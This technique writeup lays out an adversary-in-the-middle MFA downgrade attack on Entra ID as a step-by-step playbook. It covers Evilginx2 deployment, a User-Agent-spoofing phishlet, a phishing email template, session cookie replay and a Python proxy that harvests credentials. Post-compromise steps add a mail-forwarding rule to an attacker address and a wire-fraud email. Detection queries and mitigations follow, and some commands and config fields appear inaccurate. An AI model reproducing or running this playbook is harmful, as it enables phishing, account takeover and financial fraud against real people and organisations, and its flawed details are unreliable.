| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-012 |
| MITRE ATT&CK v18.1 | T1556.006 - Multi-Factor Authentication + T1557 - Adversary-in-the-Middle |
| Tactic | Credential Access / Persistence |
| Platforms | Entra ID / M365 |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-08-15 |
| Affected Versions | All Entra ID versions (default configuration) |
| Patched In | N/A - Requires policy changes, not a product fix |
| Author | SERVTEP – Artur Pchelnikau |
Concept: MFA downgrade via AiTM is a complete attack chain combining four attack vectors: (1) User-Agent spoofing to disable FIDO, (2) AiTM proxy positioning to intercept traffic, (3) Fallback MFA method forcing, and (4) Session cookie capture and replay. The attack is not a single technique but a sophisticated orchestration of multiple legitimate security features being weaponized in sequence. The starting point is a phishing email. The victim clicks a link that routes through an attacker’s AiTM proxy (Evilginx2). The proxy receives the victim’s browser request to Entra ID and immediately modifies the User-Agent header to claim the browser is “Safari on Windows” (a combination Microsoft Entra ID doesn’t support for FIDO). Entra ID receives this modified request, evaluates the User-Agent, and determines FIDO authentication is not available on this platform, so it automatically removes FIDO from the authentication options and presents only weaker fallback methods (SMS, phone call, Microsoft Authenticator app, OATH tokens). The user sees a login form asking for “another way to verify” and selects Microsoft Authenticator. The user authenticates legitimately by approving a push notification on their phone. However, because the victim’s traffic is flowing through the attacker’s proxy, the session cookie issued by Entra ID is intercepted by the proxy before reaching the victim’s browser. The attacker then imports this session cookie into their own browser and gains complete access to the victim’s account without needing to repeat the MFA verification. From Entra ID’s perspective, nothing is suspicious: the user authenticated successfully, passed MFA verification, and received a valid session cookie. The attack is completely invisible in logs because all authentication steps were legitimate; the attacker simply observed the process and captured the output.
Attack Surface: Browser User-Agent header, OAuth 2.0 authentication flow, Entra ID feature detection logic, MFA fallback mechanisms, session cookie handling, HTTPS proxy infrastructure.
Business Impact: Complete, undetected account compromise of any user targeted. This attack defeats all forms of MFA in the traditional sense because the session cookie (which proves MFA completion) is captured before it reaches the legitimate user. Organizations implementing FIDO2 believing they have eliminated phishing discover it does not work when combined with this downgrade technique. Unlike password spray or credential stuffing, this attack requires only one successful phishing click per user. Post-compromise, the attacker can: steal all email communications (BEC, IP theft), register additional MFA methods to maintain persistence, pivot to other users (lateral movement via internal phishing), deploy ransomware, or perform data exfiltration.
Technical Context:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.5, 6.6 | Multi-factor authentication enforcement; password management failures |
| DISA STIG | IA-2(1), SI-4(4) | MFA strength; monitoring for authentication attacks |
| CISA SCuBA | AUTH.1, AUTH.2 | Phishing-resistant authentication enforcement |
| NIST 800-53 | IA-2, IA-4, IA-7, SC-7 | Authentication, identification, session management, boundary protection |
| GDPR | Art. 32, Art. 33 | Security measures for processing; breach notification requirements |
| DORA | Art. 9, Art. 19 | Authentication security; incident management and cyber resilience testing |
| NIS2 | Art. 21 | Protective measures for authentication infrastructure; password and MFA mandates |
| ISO 27001 | A.9.2.3, A.9.4.3, A.13.1.3 | Privileged access management; session management |
| ISO 27005 | A.5.12, A.5.13 | Residual risk assessment; security incident management |
Required Privileges:
Required Access:
Supported Versions:
Tools Required:
Victim Prerequisites:
# 1. Check if target organization uses Entra ID (not on-premises AD only)
Test-NetConnection -ComputerName login.microsoftonline.com -Port 443
# If successful, organization uses Entra ID
# 2. Enumerate target users via LinkedIn, company website, GitHub
# Get list of email patterns: firstname.lastname@company.com, user@company.com
# 3. Verify target user has FIDO and fallback methods
# (Requires compromised account or social engineering to IT; skip for now)
# 4. Check if organization filters phishing emails
# Test: Send test phishing email with legitimate URL to test user
# If email reaches inbox: poor filtering
# If email is quarantined: organization has awareness
# 5. Identify if Conditional Access policies are enforced
# (Visible via login screen: "Device needs to be compliant" or "Location restricted")
# If no such messages: minimal CA enforcement, attack likely successful
# 1. Verify VPS can host Evilginx2
ssh root@vps.example.com
curl https://api.ipify.org # Get public IP
nslookup attacker-domain.com # Verify DNS points to VPS
# 2. Check port availability
sudo netstat -tlnp | grep ":443\|:80"
# Should be empty (ports 80 and 443 available)
# 3. Generate SSL certificate
sudo certbot certonly --standalone -d attacker-domain.com
# Must complete successfully before starting Evilginx2
# 4. Compile Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2 && make
# Should produce ./evilginx2 binary
Supported Versions: Evilginx2 v3.0+, all Entra ID versions
Step 1a: Register Attacker Domain
Objective: Purchase domain that looks similar to target organization.
Example Domains:
acme-corp.comacme-corp-verify.com OR acmecorp-auth.com OR verify-acmecorp.netPlatform: GoDaddy, Namecheap, or NameSilo (use privacy/redaction to hide registrant info)
Cost: $10-15/year
OpSec Considerations:
Objective: Set up AiTM proxy infrastructure on attacker-controlled VPS.
Command:
# SSH into VPS
ssh root@vps.example.com
# Install dependencies
apt update && apt install -y golang-go git certbot
# Clone Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
# Build
make
# Obtain SSL certificate (required for HTTPS phishing page)
certbot certonly --standalone -d attacker-domain.com
# Certificate path: /etc/letsencrypt/live/attacker-domain.com/
# Start Evilginx2 (background)
nohup sudo ./evilginx2 -p phishlets/ > /dev/null 2>&1 &
# Verify it's running
ps aux | grep evilginx2
Expected Output:
root 1234 0.1 0.5 123456 78901 ? Sl 14:00 0:00 ./evilginx2 -p phishlets/
Objective: Configure Evilginx2 to perform FIDO downgrade.
File: /root/evilginx2/phishlets/o365_downgrade.json
{
"name": "o365_downgrade",
"author": "AttackerTeam",
"source": "microsoft",
"phish_domain": "attacker-domain.com",
"domains": [
"login.microsoftonline.com",
"login.microsoft.com",
"account.microsoft.com"
],
"auth_tokens": [
{
"name": "session_id",
"extract": "cookie"
}
],
"user_agent_spoof": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15",
"paths": [
{
"path": "/",
"status": "ok"
}
]
}
Critical Configuration:
"user_agent_spoof": This string MUST be exactly as shown (Safari on Windows)"phish_domain": Must match registered attacker domain"domains": Microsoft Entra ID endpoints being proxiedCommand (in Evilginx2 console):
# Connect to Evilginx2
evilginx> phishlet load o365_downgrade
[+] Phishlet 'o365_downgrade' loaded successfully
evilginx> phishlet enable o365_downgrade
[+] Phishlet 'o365_downgrade' enabled
evilginx> listen 0.0.0.0 443
[+] Listening on 0.0.0.0:443 (HTTPS)
evilginx> listen 0.0.0.0 80
[+] Listening on 0.0.0.0:80 (HTTP redirect)
PHASE 2: Phishing Campaign
Objective: Compose convincing email that drives victim to phishing link.
Email Template:
From: security@company.com
Subject: URGENT: Verify Your Account Access Within 24 Hours
Dear [FirstName],
Our systems have detected unusual login activity from your account.
To protect your data and maintain access, please verify your identity immediately:
[Click Here to Verify Account](https://attacker-domain.com/?type=login&redirect=https://office.microsoft.com)
This verification expires in 24 hours. If you do not complete this step,
your account access will be temporarily restricted.
Questions? Contact IT Support: support@company.com
---
Microsoft Security Team
Sent: Tuesday, August 15, 2025 at 2:15 PM
Why This Works:
Objective: Get phishing link to target users.
Methods:
bit.ly/verify-access-2025Recommended Approach: Targeted spear-phishing of high-value users (executives, finance, IT admins)
Campaign Example:
Objective: Track when users click the link.
Command (Evilginx2 console):
evilginx> sessions
[*] Active Sessions:
ID: abc123 | User: victim1@company.com | Status: Visiting
ID: def456 | User: victim2@company.com | Status: Visiting
ID: ghi789 | User: victim3@company.com | Status: Visiting
evilginx> session info abc123
[*] Session Details:
User: victim1@company.com (not yet authenticated)
IP Address: 203.0.113.45
Location: San Francisco, CA, US
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
Timestamp: 2025-08-15 14:25:33 UTC
What This Means:
PHASE 3: Credential and MFA Interception
What Happens in Victim’s Browser:
victim@company.comP@ssw0rd123What Happens in Evilginx2:
Safari on Windows (credential request includes spoofed header)Victim Sees:
Your sign-in was successful.
Now we need to verify using a different method.
Choose how you want to verify:
○ Microsoft Authenticator app
○ Phone authentication
○ SMS message
○ Authenticator app
Victim Selects: Microsoft Authenticator app
What Happens Next:
session_id=ABC123DEF456...Command (Evilginx2 console):
evilginx> sessions
[*] Session ID: abc123
User: victim@company.com
Status: CAPTURED
Session Cookie: ABC123DEF456GHI789
Timestamp: 2025-08-15 14:26:15 UTC
evilginx> session info abc123
[*] Captured Credentials:
Username: victim@company.com
Password: [REDACTED - encrypted in logs]
Session ID: ABC123DEF456GHI789
Access Token: eyJ0eXAiOiJKV1QiLCJhbGc...
Refresh Token: 0.ARY...
MFA Method: microsoftAuthenticator
MFA Status: Verified
What This Means:
PHASE 4: Account Takeover and Post-Compromise
Command (Attacker’s Browser DevTools - F12 → Console):
// Method 1: Direct Cookie Import
document.cookie = "session_id=ABC123DEF456GHI789; domain=.microsoft.com; path=/; secure; samesite=none";
// Method 2: Using Evilginx2 Export
// Evilginx2 provides export functionality:
// evilginx> export session abc123 --format=cookie
// Output: session_id=ABC123DEF456GHI789; access_token=eyJ0eXA...
// Paste exported cookie into attacker's browser
Alternative: Use curl to Access Account:
STOLEN_COOKIE="ABC123DEF456GHI789"
# Access victim's Outlook
curl -b "session_id=$STOLEN_COOKIE" https://outlook.office365.com/mail \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-L -o victim_mailbox.html
# Now attacker can read victim's mailbox
cat victim_mailbox.html | grep -o "<subject>[^<]*</subject>"
Objective: Maintain access even if victim changes password.
Command (PowerShell - Run as Attacker Using Stolen Token):
# Connect using stolen token
Connect-MgGraph -AccessToken $stolenToken
# Register new MFA device (security key) under victim's account
# Now attacker has persistent access method independent of victim's password
# Check victim's mailbox rules
Get-InboxRule -Mailbox victim@company.com
# Set up rule to forward emails to attacker's account
New-InboxRule -Name "Auto-Forward" -Mailbox victim@company.com `
-From "admin@company.com" `
-ForwardTo "attacker@attacker.com"
Objective: Use victim’s account to compromise other users.
Command (Send Internal Phishing from Victim’s Account):
# Attacker can send emails FROM victim's account (BEC attack)
Send-MgUserMail -UserId victim@company.com `
-Message @{
Subject = "URGENT: CFO has requested immediate wire transfer"
Body = "Please approve the attached payment request immediately"
ToRecipients = @(
@{
EmailAddress = @{
Address = "victim_boss@company.com"
}
}
)
Attachments = @(
@{
"@odata.type" = "#microsoft.graph.fileAttachment"
Name = "Payment_Request.pdf"
ContentBytes = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\malicious.pdf"))
}
)
}
Impact:
For security professionals who prefer programmatic control:
Python Script: aitm_mfa_downgrade.py
#!/usr/bin/env python3
import requests
import http.server
import socketserver
import json
import sqlite3
from datetime import datetime
# Configuration
TARGET = "login.microsoftonline.com"
PHISH_DOMAIN = "attacker-domain.com"
FAKE_UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15"
# SQLite database for captured sessions
db = sqlite3.connect('captured_sessions.db')
cursor = db.cursor()
cursor.execute('''CREATE TABLE IF NOT EXISTS sessions
(id TEXT, username TEXT, password TEXT, session_id TEXT, timestamp TEXT)''')
db.commit()
class AiTMHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(content_length)
# Parse credentials
creds = body.decode('utf-8')
username = creds.split('username=')[1].split('&')[0] if 'username=' in creds else 'UNKNOWN'
print(f"[+] INTERCEPTED: {username}")
# Proxy with spoofed User-Agent
headers = dict(self.headers)
headers['User-Agent'] = FAKE_UA
response = requests.post(
f"https://{TARGET}{self.path}",
data=body,
headers=headers,
verify=False
)
# Capture session cookie
if 'Set-Cookie' in response.headers:
cookie = response.headers['Set-Cookie']
session_id = cookie.split('=')[1].split(';')[0]
# Store in database
cursor.execute('INSERT INTO sessions VALUES (?, ?, ?, ?, ?)',
(None, username, creds, session_id, datetime.now().isoformat()))
db.commit()
print(f"[+] SESSION CAPTURED: {session_id[:20]}...")
# Forward response to victim
self.send_response(response.status_code)
for header, value in response.headers.items():
self.send_header(header, value)
self.end_headers()
self.wfile.write(response.content)
def log_message(self, format, *args):
pass # Suppress default logging
if __name__ == "__main__":
PORT = 443
server = socketserver.TCPServer(("0.0.0.0", PORT), AiTMHandler)
print(f"[*] AiTM Proxy listening on :{PORT}")
server.serve_forever()
Execution:
sudo python3 aitm_mfa_downgrade.py
Output:
[*] AiTM Proxy listening on :443
[+] INTERCEPTED: victim@company.com
[+] SESSION CAPTURED: ABC123DEF456GHI7...
# Session management
sessions # List all sessions
session info [ID] # Show session details
session delete [ID] # Delete session
session export [ID] --format=json # Export session data
# Phishlet management
phishlet list # Show available phishlets
phishlet load [name] # Load phishlet
phishlet enable [name] # Enable phishlet
phishlet disable [name] # Disable phishlet
phishlet info [name] # Show phishlet details
# Server control
listen [IP] [PORT] # Start listening
server close # Stop listening
config [key] [value] # Set configuration
# Logging
log show [count] # Show recent logs
log clear # Clear logs
# Export all sessions to file
evilginx> sessions export --format=json > sessions.json
# Parse with jq
cat sessions.json | jq '.[] | {user: .user, session_id: .session_id}'
# Output
{
"user": "victim@company.com",
"session_id": "ABC123DEF456GHI789"
}
Rule Configuration:
KQL Query:
// Detect FIDO downgrade + fallback MFA usage + session reuse pattern
let fido_disabled_sessions = SigninLogs
| where resultType == 0
| where userAgent has "Safari" and userAgent has "Windows"
| where isnotempty(sessionId)
| project sessionId, userId, userPrincipalName, fido_disabled_time=createdDateTime, fido_disabled_ip=ipAddress;
let fallback_mfa_used = SigninLogs
| where resultType == 0
| where authenticationMethodsUsed !contains "fido" and authenticationMethodsUsed contains ("microsoftAuthenticator" or "phoneAuthentication" or "sms")
| project sessionId, userId, fallback_time=createdDateTime, fallback_method=authenticationMethodsUsed;
let session_reused = SigninLogs
| where resultType == 0
| summarize
login_count=count(),
distinct_ips=dcount(ipAddress),
distinct_uagents=dcount(userAgent),
max_time=max(createdDateTime),
min_time=min(createdDateTime)
by sessionId, userId
| where login_count > 1
| where distinct_ips > 1
| project sessionId, userId, login_count, distinct_ips, session_reuse_detected="YES";
// Correlate all three indicators
fido_disabled_sessions
| join kind=inner (fallback_mfa_used) on sessionId, userId
| join kind=inner (session_reused) on sessionId, userId
| project
userId,
userPrincipalName,
sessionId,
fido_disabled_time,
fallback_time,
fallback_method,
login_count,
distinct_ips,
Alert = "CRITICAL: Complete MFA Downgrade Attack Chain Detected"
What This Detects:
Manual Configuration (Azure Portal):
KQL Query:
SigninLogs
| where resultType == 0
| where isnotempty(sessionId)
| summarize
IPs = make_set(ipAddress),
Locations = make_set(location.countryOrRegion),
Devices = make_set(deviceDisplayName),
FirstLogin = min(createdDateTime),
LastLogin = max(createdDateTime)
by sessionId, userId
| where array_length(IPs) > 1 or array_length(Locations) > 1
| where datetime_diff('minute', LastLogin, FirstLogin) < 5
| project
sessionId,
userId,
IPs,
Locations,
Devices,
TimeSpanMinutes = datetime_diff('minute', LastLogin, FirstLogin),
Alert = "CRITICAL: SessionId reused from different location within 5 minutes"
1. Disable Fallback MFA for Privileged Accounts
Remove SMS, phone call, Authenticator app fallback options for all admins. Enforce FIDO2-ONLY authentication.
Manual Steps (Azure Portal):
IF admin THEN require FIDO2-onlyPowerShell:
# Get all Global Admin users
$admins = Get-MgDirectoryRoleMember -DirectoryRoleId (Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | Select-Object -ExpandProperty Id)
# For each admin, remove non-FIDO authentication methods
foreach ($admin in $admins) {
$authMethods = Get-MgUserAuthenticationMethod -UserId $admin.Id
# Remove SMS
$sms = $authMethods | Where-Object { $_.AdditionalProperties["@odata.type"] -match "phone" }
if ($sms) {
Remove-MgUserAuthenticationMethod -UserId $admin.Id -AuthenticationMethodId $sms.Id
}
# Remove Authenticator (non-FIDO)
$auth = $authMethods | Where-Object { $_.AdditionalProperties["@odata.type"] -match "microsoftAuthenticator" }
if ($auth) {
Remove-MgUserAuthenticationMethod -UserId $admin.Id -AuthenticationMethodId $auth.Id
}
}
2. Enforce Mandatory Device Compliance for ALL Authentication
Manual Steps (Conditional Access):
Require Managed Device - All UsersImpact:
3. Implement Token Protection (Preview)
Manual Steps (Conditional Access):
Token Protection - Prevent Session Cookie ReplayWhat This Does:
4. Monitor and Alert on AiTM Attack Indicators
Deploy the Sentinel queries from Section 7.
5. Implement Browser Isolation for Risky Users
Use Microsoft Defender for Cloud Apps to isolate authentication flows for high-value users in sandboxed browsers.
6. Enforce Email Authentication (DMARC, SPF, DKIM)
Prevent attacker from spoofing sender domain in phishing emails.
# DNS TXT record for DMARC
v=DMARC1; p=reject; rua=mailto:dmarc@company.com
# DNS record for SPF
v=spf1 include:outlook.office365.com ~all
# DKIM: Configure via Office 365 Admin Center
7. User Awareness Training
Mandatory training covering:
# 1. Disable victim account immediately
Disable-MgUser -UserId "victim@company.onmicrosoft.com"
# 2. Revoke all refresh tokens (forces re-authentication)
Revoke-MgUserSign -UserId "victim@company.onmicrosoft.com"
# 3. Revoke all session cookies
# Note: No direct PowerShell cmdlet; sessions auto-expire when refresh token revoked
# 4. Check for suspicious activity in past 24 hours
$auditLogs = Get-MgAuditLogDirectoryAudit -Filter "userId eq 'victim@company.onmicrosoft.com'" -All
$auditLogs | Where-Object { $_.createdDateTime -gt (Get-Date).AddHours(-24) } | Format-Table
# 5. Check for email forwarding rules (attacker persistence mechanism)
Get-InboxRule -Mailbox "victim@company.com" | Where-Object { $_.ForwardTo -or $_.ForwardAsAttachmentTo }
# 6. Reset victim's password (force logoff all sessions)
$password = ConvertTo-SecureString "NewTempPassword123!@#" -AsPlainText -Force
Update-MgUser -UserId "victim@company.onmicrosoft.com" -PasswordProfile @{
ForceChangePasswordNextSignIn = $true
Password = $password
}
# 7. Audit all MFA devices registered in past 24 hours (attacker persistence)
Get-MgUserAuthenticationMethod -UserId "victim@company.onmicrosoft.com" |
Where-Object { $_.createdDateTime -gt (Get-Date).AddHours(-24) }
# 8. Re-register MFA (victims to use new device)
# Instruct victim to re-register FIDO key or Authenticator app
# 9. Check for account delegations or permissions granted to other users
Get-MgUserOwnedObject -UserId "victim@company.onmicrosoft.com" | Format-Table
# 10. Threat hunt: Find other victims of same phishing campaign
# Search for other users with same indicators:
# - Safari on Windows User-Agent logins
# - MFA downgrade pattern
# - Session reuse from multiple IPs
Get-MgAuditLogSignIn -Filter "userAgent has 'Safari' and userAgent has 'Windows'" -All |
Where-Object { $_.createdDateTime -gt (Get-Date).AddDays(-7) }
# 11. Notify all affected users
# Prepare incident report with:
# - What happened
# - What data was accessed
# - What actions they should take (password reset, monitor credit, etc.)
# - Regulatory requirements (GDPR breach notification, etc.)
# 12. Preserve forensic evidence
# Export all audit logs for the victim and related users
Export-MgAuditLogQuery -OutputPath "C:\Forensics\AuditLogs_$(Get-Date -Format 'yyyyMMdd').csv"
| Step | Phase | Technique | Tool | Description |
|---|---|---|---|---|
| 1 | Preparation | Domain registration, phishing email crafting | Namecheap, Gmail | Attacker creates infrastructure and lures |
| 2 | Infrastructure | Evilginx2 deployment, certificate setup | Evilginx2, Let’s Encrypt | AiTM proxy positioned between victim and Entra ID |
| 3 | Phishing | Email delivery, link distribution | Email service, bit.ly | Victim receives phishing email, clicks link |
| 4 | Spoofing | [REALWORLD-010] User-Agent spoofing | Evilginx2 phishlet | Attacker modifies User-Agent to “Safari on Windows” |
| 5 | Error Trigger | [REALWORLD-011] Entra ID feature detection | Microsoft Entra ID | Entra ID disables FIDO due to unsupported platform |
| 6 | Downgrade | [REALWORLD-012] Fallback MFA presented | User’s browser | User forced to use SMS/Authenticator instead of FIDO |
| 7 | Interception | [REALWORLD-011] AiTM proxy intercepts | Evilginx2 | Proxy captures credentials and MFA codes |
| 8 | Capture | Session cookie theft | Evilginx2 console | Session cookie captured before reaching victim |
| 9 | Replay | Session hijacking (T1528) | curl, browser | Attacker uses stolen cookie to access account |
| 10 | Persistence | [T1098.005] Register MFA device | PowerShell / Graph API | Attacker registers new security key for persistence |
| 11 | Lateral Movement | [T1534] Internal spearphishing | Stolen account | Attacker sends phishing from victim’s account |
| 12 | Impact | [T1567] Data exfiltration, [T1486] Ransomware | Email, file transfer | Attacker achieves final objective |